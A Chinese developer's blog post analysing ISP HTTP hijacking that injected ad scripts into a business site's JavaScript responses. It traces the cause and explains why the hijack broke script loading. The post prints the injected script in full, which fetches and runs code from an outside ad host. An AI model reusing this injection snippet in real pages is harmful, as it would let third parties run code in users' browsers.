編者按：Fundebug的客戶通過分析我們提供的報警信息，定位了一個非常棘手的問題—ISP劫持http請求。他的分析過程非常有意思，同時也提醒我們，應該及時支持HTTPS來保證站點安全。
原文: ISP劫持http請求
作者: Mr_Qi
本文版權歸原作者Mr_Qi所有。
最近業務系統經常受到前端報錯郵件
發現大量的ip為沈陽聯通客戶==>初步推斷為運營商http劫持
經過現場排查發現出錯畫面部分js加載出錯
區別在於錯誤的js會先插入一個廣告js
為區別是否dns劫持查看NetWork面板
IP正確並且為我方服務器IP確認並非為DNS攻擊。
由於大面積出現沈陽聯通問題，(故而考慮應當為運營商問題？應該不會出現大范圍路由器被黑的可能吧)
返回js如下
(function () {
try {
var o = 'm-_-m',
D = document;
if (!D.getElementById(o)) {
var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
M = 'http://pc.quansj.cn/?cid=08',
C = D.currentScript,
H = D.getElementsByTagName('head')[0],
N = function (s, i) {
var I = D.createElement('script');
I.type = 'text/JavaScript';
if (i) I.id = i;
I.src = s;
H.appendChild(I);
};
if (self == top) {
N(M, o);
}
if (!C) {
C = (function () {
var S = D.scripts,
l = S.length,
i = 0;
for (; i < l; ++i) {
if (S[i].src === j) {
return S[i];
}
}
})();
}
C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '"><' + '/script>'));
}
} catch (e) {}
})();
通過域名Whois反查
發現旗下域名
有好幾個都是廣告劫持網站
貌似和一個說脫口秀的（趙本山徒弟）同名………………該不是同一個人吧/(ㄒoㄒ)/~~
和沈陽聯通溝通后無果，拒不承認存在劫持。目前正在求助工信部，不知能否有解決方案。
github上已經有針對該地址的adblock了……明顯遼寧聯通
看了一下js選項，正常情況下會執行到
C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'"><'+'/script>'));
也就是說理論上會同步加載我們服務器上的js~但是事實上出現了大量的js未加載到代碼做了判斷，如果支持defer或者async這直接append異步加載js，當不支持則直接通過document寫入（同步執行）
經過查閱發現chrome有個設置（據說chrome55(?)+版本后優化）可以嘗試一下
chrome://flags/#disallow-doc-written-script-loads
具體說明如下
> With this data in mind, Chrome, starting with version 55, [intervenes](https://github.com/WICG/interventions/issues/17) on behalf of all users when we detect this known-bad pattern by changing how `document.write()` is handled in Chrome (See [Chrome Status](https://www.chromestatus.com/feature/5718547946799104)). Specifically Chrome will not execute the `<script>` elements injected via `document.write()`when **all** of the following conditions are met:
>
> 1. The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
> 2. The `document.write()` is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.
> 3. The script in the `document.write()` is parser-blocking. Scripts with the '[`async`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async)' or '[`defer`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer)' attributes will still execute.
> 4. The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on [www.example.org](http://www.example.org/)).
> 5. The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
> 6. The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.
>
> Third party snippets sometimes use `document.write()` to load scripts. Fortunately, most third parties provide [asynchronous loading alternatives](https://developers.google.com/speed/docs/insights/UseAsync), which allow third party scripts to load without blocking the display of the rest of the content on the page.
貌似我們不符合條件4 暫時先考慮一下
代碼format完后大驚失色……整個加載js的前提是畫面中沒有id為m-_-m的節點。否則不會進行加載js ，即不會執行document.write
如果悲催的是我們畫面中存在2個或兩個以上的js被劫持，那么除了第一個js其余均不會加載。
那么查看了一下js請求（帶有queryString），發現
果然當時客戶的請求了commonjs，也就是commonjs也被劫持了。此刻畫面中出現了m-_-m節點。導致其他被劫持的js不會加載真實的js………………
再說一下關於我們首頁的劫持（跳轉？）
明顯也是江蘇寬帶(南京電信)的劫持……
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